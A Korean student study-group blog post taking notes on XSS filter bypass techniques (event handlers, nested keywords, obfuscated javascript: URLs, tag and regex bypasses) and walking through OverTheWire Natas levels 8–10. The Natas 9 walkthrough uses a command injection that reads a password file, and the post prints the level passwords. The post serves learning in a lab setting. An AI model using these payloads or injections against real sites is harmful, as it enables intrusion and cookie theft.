-
[SISS/웹해킹 스터디] 25-1학기 1주차 스터디 - XSS Filtering Bypass I, Natas 08 >> 1025-1 SISS/웹해킹 2025. 3. 15. 21:00
[SISS/웹해킹 스터디] 1학기 1주차 스터디 - XSS Filtering Bypass I, Natas 08 >> 10 수강 인증 화면 캡쳐 : 1주차 (3/10 ~ 3/16) XSS Filtering Bypass 08 >> 10
XSS Filtering Bypass - I
- XSS 공격의 증가
- 방어를 위한 다양한 오픈 소스 라이브러리 개발 → 우회하는 다양한 방법 존재
- 불충분한 XSS 필터링
- 배경
- 기존의 마크업 언어를 일반화한 HTML이 보편화되기 시작
- 이에 따라 자신의 브라우저에서 해석할 수 있는 태그를 늘리게 됨
- 별다른 규율 없이 만들어져 HTML 해석 소프트웨어 작성에 어려움이 발생
- 여러 기능 중 하나인 XSS 필터링에도 영향을 끼침
- XSS 필터링
- 보수적인 방식 → 안전한 마크업만 허용(XSS Allowlist 필터링)
- 일부 문자열만 필터할 경우 위양성 위음성 발생 → 취약점
- 보수적인 방식 → 안전한 마크업만 허용(XSS Allowlist 필터링)
- 배경
- 이벤트 핸들러 속성
- 이벤트 핸들러
- 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 함수
- 자바스크립트 코드를 실행할 수 있음
- on으로 시작하는 속성
- onload → 로드에 성공했을 경우 실행
- onerror → 로드에 실패했을 경우 실행
- onfocus → 보통은 autofocus나 input 태그의 id 속성 값으로 입력해 자동 포커스되도록 함 → 커서를 클릭하였을 경우 실행
- 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 함수
- 이벤트 핸들러
/* (onload) 유효한 이미지 로드 후 onload 핸들러 실행 */ <img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)"> /* 이미지 로드 실패, onload 핸들러 실행하지 않음 */ <img src="about:invalid" onload="alert(document.domain)">
/* (onerror) 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 */ <img src="valid.jpg" onerror="alert(document.domain)"> /* 이미지 로드 실패, onerror 핸들러 실행 */ <img src="about:invalid" onerror="alert(document.domain)">
/* (onfocus) autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 */ <input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
- 문자열 치환
- 의심 구문을 치환 혹은 제거하는 방식
- 우회
- 의심 구문 제거의 경우 필터링 키워드 사이 새로운 필터링 키워드 삽입 → scrscriptipt
- 공격 페이로드 탐지 불가
- 대응 방안 → 문자열에 변화가 없을 때까지 지속적인 치환
- 고려하지 못한 구문 존재 가능성이나 WAF 방어 무력화 등은 동일
/* 필터링 우회 예시 */ (x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>') --> <img onerror=prompt(1) />
/* 문자열 치환 우회 예시 */ function replaceIterate(text) { while (true) { var newText = text .replace(/script|onerror/gi, ''); if (newText === text) break; text = newText; } return text; } replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />') --> <img src="data:image/svg+xml,<svg>" onload="alert(1)" /> replaceIterate('<ifronerrorame srcdoc="<sonerrorcript>parent.alescronerroriptrt(1)</scrionerrorpt>" />') --> <iframe srcdoc="<>parent.alert(1)</>" />
- 문자열 치환 실습
- 주어진 필터링을 우회하여 alert를 실행
- 1단계 → <scrscriptipt>alert('시스')</scrscriptipt>
- 2단계 → <img src=siss: oneonerrorrror=alert('시스') />
- 주어진 필터링을 우회하여 alert를 실행
/* 1단계 필터링 */ function XSSFilter(data){ return data.replace(/script/gi, ''); }
/* 2단계 필터링 */ function XSSFilter(data){ return data.replace(/onerror/gi, ''); }
문자열 치환 실습 - 활성 하이퍼링크
- HTML에서 활성 콘텐츠를 포함한 URL을 사용할 수 있음
- javascript:
- URL 로드 시 자바스크립트 코드 실행
- a 태그나 iframe 태그에 사용 가능
- URL 로드 시 자바스크립트 코드 실행
- 우회
- 정규화 이용 → 특수 문자(\x01, \x04, \t 등) 제거 및 대소문자 통일
- URL 객체
- 자바스크립트에서 URL을 직접 정규화할 수 있음
- protocol, hostname 등 정보 추출 가능
- 자바스크립트에서 URL을 직접 정규화할 수 있음
- URL 객체
- 인코딩 이용
- 정규화 이용 → 특수 문자(\x01, \x04, \t 등) 제거 및 대소문자 통일
/* 특수 문자 포함 우회 예시 */ <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a> <iframe src="\1\4jAVasC\triPT:alert(document.domain)">
/* URL 객체 이용 예시 */ function normalizeURL(url) { return new URL(url, document.baseURI); } normalizeURL('\4\4jAva\tScRIpT:alert(1)').href --> "javascript:alert(1)" normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol --> "javascript:" normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname --> "alert(1)"
/* HTML Entity Encoding 활용 우회 예시 */ <a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a> <iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
- 태그와 속성 기반 필터링
- 대문자(소문자)만을 인식하는 필터 → HTML은 문법 상 대소문자를 구분하지 않으므로 우회 가능
- 잘못된 정규표현식을 사용하는 필터
- 예시
- 스크립트 태그 내의 데이터 존재 여부 검사(스크립트 태그는 속성으로 데이터 입력 가능)
- on 이벤트 핸들러 존재 여부 검사(멀티 라인 검사가 없으므로 줄바꿈 문자 이용하여 우회 가능)
- 예시
- 특정 태그 및 속성에 대한 필터링 → 다른 태그 및 속성을 이용하여 우회 가능
- 예시
- script, img, input 태그를 사용하지 못하도록 하는 필터링 → 다른 태그를 이용하여 우회
- on 이벤드 핸들러 및 멀티 라인 검사 → iframe 태그를 이용하여 우회(새로운 inner frame을 생성하여 src, srcdoc 등의 속성 사용)
- 예시
/* 태그와 속성 기반 필터링 */ x => !x.includes('script') && !x.includes('on') /* 우회 방법 */ <sCRipT>alert(document.cookie)</scriPT> <img src=x: oneRroR=alert(document.cookie) />
/* 잘못된 정규표현식을 사용하는 필터링 - 스크립트 태그 내 데이터 존재 여부 검사 */ x => !/<script[^>]*>[^<]/i.test(x) /* 우회 방법 */ <script src="data:,alert(document.cookie)"></script>
/* 잘못된 정규표현식을 사용하는 필터링 - on 이벤트 핸들러 존재 여부 검사 */ x => !/<img.*on/i.test(x) /* 우회 방법 */ <img src=""\nonerror="alert(document.cookie)"/>
/* 특정 태그 및 속성에 대한 필터링 - script, img, input 태그를 사용하지 못하도록 하는 필터링 */ x => !/<script|<img|<input/i.test(x) /* 우회 방법 */ <video><source onerror="alert(document.domain)"/></video> <body onload="alert(document.domain)"/>
/* 특정 태그 및 속성에 대한 필터링 - on 이벤드 핸들러 및 멀티 라인 검사 */ x => !/<script|<img|<input|<.*on/is.test(x) /* 우회 방법 */ <iframe src="javascript:alert(parent.document.domain)"> <iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
- 태그와 속성 기반 필터링 실습 → alert 실행
- 1단계 → <Script>alert('시스')</Script>
- 2단계 → <img src="" onerror="alert('시스')"/>
- 3단계 → <iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)>'></iframe>
/* 1단계 필터링 */ function XSSFilter(data){ if(data.includes('script')){ return false; } return true; }
/* 2단계 필터링 */ function XSSFilter(data){ if(data.toLowerCase().includes('script')){ return false; } return true; }
/* 3단계 필터링 */ function XSSFilter(data){ if(data.toLowerCase().includes('script') || data.toLowerCase().includes('on')){ return false; } return true; }
태그와 속성 기반 필터링 실습 문제 1
문제 1 Natas 08 >> 09
- 링크
- 풀이
- 개발자 도구 > 소스 코드 확인 > viewsource의 index-source.html 문서로 이동
- index-source.html
- 제출 시 secret 값으로 입력 내용을 저장
- 해당 값을 encodeSecret() 함수에 넣어 반환값이 $encodedSecret 값과 같다면 비밀번호 출력
- $encodedSecret → "3d3d516343746d4d6d6c315669563362”
- encodeSecret()
- 과정
- (16진수) 3d3d516343746d4d6d6c315669563362 → (아스키) ==QcCtmMml1ViV3b → (뒤집기) b3ViV1lmMmtCcQ== → (base64 → 아스키) oubWYf2kBq
- 함수
- base64_encode() → base64로 인코딩
- strrev() → 문자열을 뒤집음
- bin2hex() → 아스키 값을 16진수로 변환
- 과정
natas 08 >> 09 풀이 - 입력
- input secret → oubWYf2kBq
- id → natas9
- pw → ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
natas08 >> 09 정답 입력 Natas 09 >> 10
- 풀이
- View sourcecode
- passthru()
- exec()와 같이 명령어를 실행하는 함수 → 비밀번호가 저장된 파일을 명령어를 이용하여 탐색
- $key
- 입력을 needle로 가져와 grep 명령어를 이용해 검색
- 필터링 없음
- 입력을 needle로 가져와 grep 명령어를 이용해 검색
- passthru()
- View sourcecode
- 풀이 입력
- siss; ls
- siss; cat /etc/natas_webpass/natas10 → t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
natas 09 >> 10 siss; ls natas 09 >> 10 풀이 입력 - 입력
- id → natas10
- pw → t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
natas 09 >> 10 정답 입력 '25-1 SISS > 웹해킹' 카테고리의 다른 글
- XSS 공격의 증가